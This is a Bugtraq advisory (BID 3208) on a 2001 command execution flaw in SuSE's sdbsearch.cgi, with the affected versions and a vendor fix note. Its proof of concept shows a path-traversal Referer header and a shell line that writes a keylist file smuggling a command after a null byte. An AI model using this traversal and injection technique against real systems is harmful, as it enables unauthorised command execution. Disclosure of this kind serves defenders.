SuSE sdb Arbitrary Command Execution Vulnerability

BID:3208

Info

SuSE sdb Arbitrary Command Execution Vulnerability

Bugtraq ID: 3208
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 02 2001 12:00AM
Updated: Aug 02 2001 12:00AM
Credit: Reported by Maurycy Prodeus <[email protected]> on August 2, 2001.
Vulnerable: SuSE Linux 7.0
SuSE Linux 6.4
SuSE Linux 6.3
Not Vulnerable: SuSE Linux 7.2
SuSE Linux 7.1

Exploit / POC

SuSE sdb Arbitrary Command Execution Vulnerability

An example was provided by Maurycy Prodeus <[email protected]>:

Proof of concept is very simple, just create harmful keylist.txt for instance in /tmp directory and send request to http server like this:

GET /cgi-bin/sdbsearch.cgi?stichwort=keyword HTTP/1.0
Referer: http://szachy.org/../../../../../tmp

(very deep traversal because we don't know what is DOCUMENT_ROOT)

and an example content of our /tmp/keylist.txt create like this:
$ echo -e "keyword\0touch exploitable|" > /tmp/keylist.txt

After successful attempt there will be "exploitable" file in /tmp directory.

Solution / Fix

SuSE sdb Arbitrary Command Execution Vulnerability

Solution:
Updates that rectify this issue are available from the vendor:


SuSE Linux 6.3

SuSE Linux 6.4

SuSE Linux 7.0

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